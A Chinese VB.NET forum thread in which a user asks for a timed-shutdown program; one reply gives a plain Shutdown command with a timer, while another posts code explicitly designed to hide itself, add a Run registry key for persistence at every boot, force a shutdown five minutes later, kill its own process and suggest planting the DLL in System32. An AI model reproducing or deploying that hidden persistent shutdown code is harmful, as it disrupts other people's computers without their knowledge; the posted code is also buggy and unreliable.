注册 登录
编程论坛 VB.NET论坛

哪位大虾可以写一个定时关机的程序?

jiutian1981 发布于 2009-09-26 08:11, 1219 次点击
急求一个定时关节的程序,谢谢!
4 回复
#2
subMain2009-09-26 17:11
可以去看看这个贴子。。
https://bbs.bccn.net/thread-283903-1-1.html
#3
acaiwlj2009-10-05 15:59
System.Diagnostics.Process.Start("Shutdown", "/s")
VB中关机的代码,如果第二个参数设为"/r"重启,"/a"注销用户
其它的就是用以个定时器不断的去检测看是否到了定时的时间,到了就执行这条语句,否则继续检测。
在检测期间还要用到DateTime这个类,用当前时间与设定的时间进行求差运算就可以判断了
#4
dyqq12342009-10-25 01:10
编写的定时关机程序,先编写了一个dll链接库为的是隐蔽作用:
 
程序代码:
Imports
Imports System
Public Class Class1
    Public Function buffer()
        Dim a As Integer
        Dim i As Integer = Minute(Now)
        Dim j As Integer = Hour(Now)
        a = i + 5
        Dim path As String = "c:\VB.bat"
        Dim path1 As String = "D:\My Documents\Visual Studio 2005\Projects\传递\传递\bin\Debug\传递.exe"
        Dim fil1 As New FileInfo(path)
        Dim MyReg As Microsoft.Win32.RegistryKey
        MyReg = Microsoft.Win32.Registry.LocalMachine
        MyReg = MyReg.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\run")
 
//修改注册表保证每次开机都加载指定的程序
        MyReg.SetValue("传递.exe", path1)
        MyReg.Close()
        If fil1.Exists = False Then
            File.AppendAllText(path, "at " & j & ":" & a & " shutdown -s -t 0 -f")
 
//该函数规定了5分钟后关机
 
//我选取生成bat文件来关机,未采取API函数来关机
        Else
            File.Delete(path)
            File.AppendAllText(path, "at " & j & ":" & a & " shutdown -s -t 0 -f")
        End If
        Dim id As String
        id = Shell("""c:\VB.bat"" -a -q", , True, 100000)
        Dim process As System.Diagnostics.Process
        For Each process In System.Diagnostics.Process.GetProcesses
            If process.ProcessName = "传递" Then
                process.Kill()
            End If
        Next
 
//遍历进程管理器,Kill掉该进程,时期隐蔽
        Return buffer()
    End Function
    Private Function Shell(ByVal PathName As String, Optional ByVal Style As AppWinStyle = AppWinStyle.MinimizedFocus, Optional ByVal Wait As Boolean = False, Optional ByVal Timeout As Integer = -1) As Integer
        Dim procID As Integer
        Dim newProc As Diagnostics.Process
        newProc = Diagnostics.Process.Start("c:\VB.bat")
        procID = newProc.Id
        newProc.WaitForExit()
        Dim procEC As Integer = -1
        If newProc.HasExited Then
            procEC = newProc.ExitCode
        End If
    End Function
 
//这里用的专门的API执行函数,提高效率
End Class
 
/这个DLL函数可以放到System32下,也可以放到更新版本后的WindowsXP系统dllCache文件里.
 
执行dll文件函数:
 
Imports
Imports System.Threading.Thread
Public Class Form1
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim path As String = "c:\VB.bat"
        Dim file As New FileInfo(path)
        file.Delete()
        Dim MyDll As New 定时关机.Class1
 
//加载定时关机dll函数
        Dim MyResult As String = MyDll.buffer()
    End Sub
End Class

 
这是主执行体,每次执行该函数时都会自动隐蔽窗体不别人发现
程序有些问题,具体的你自己改就可以了!

我博客太多了,不知道是哪个?具体看我百度博客上面吧!http://hi.baidu.com/dyqq1234/blog/item/3c796654523298ccb745ae1a.html
1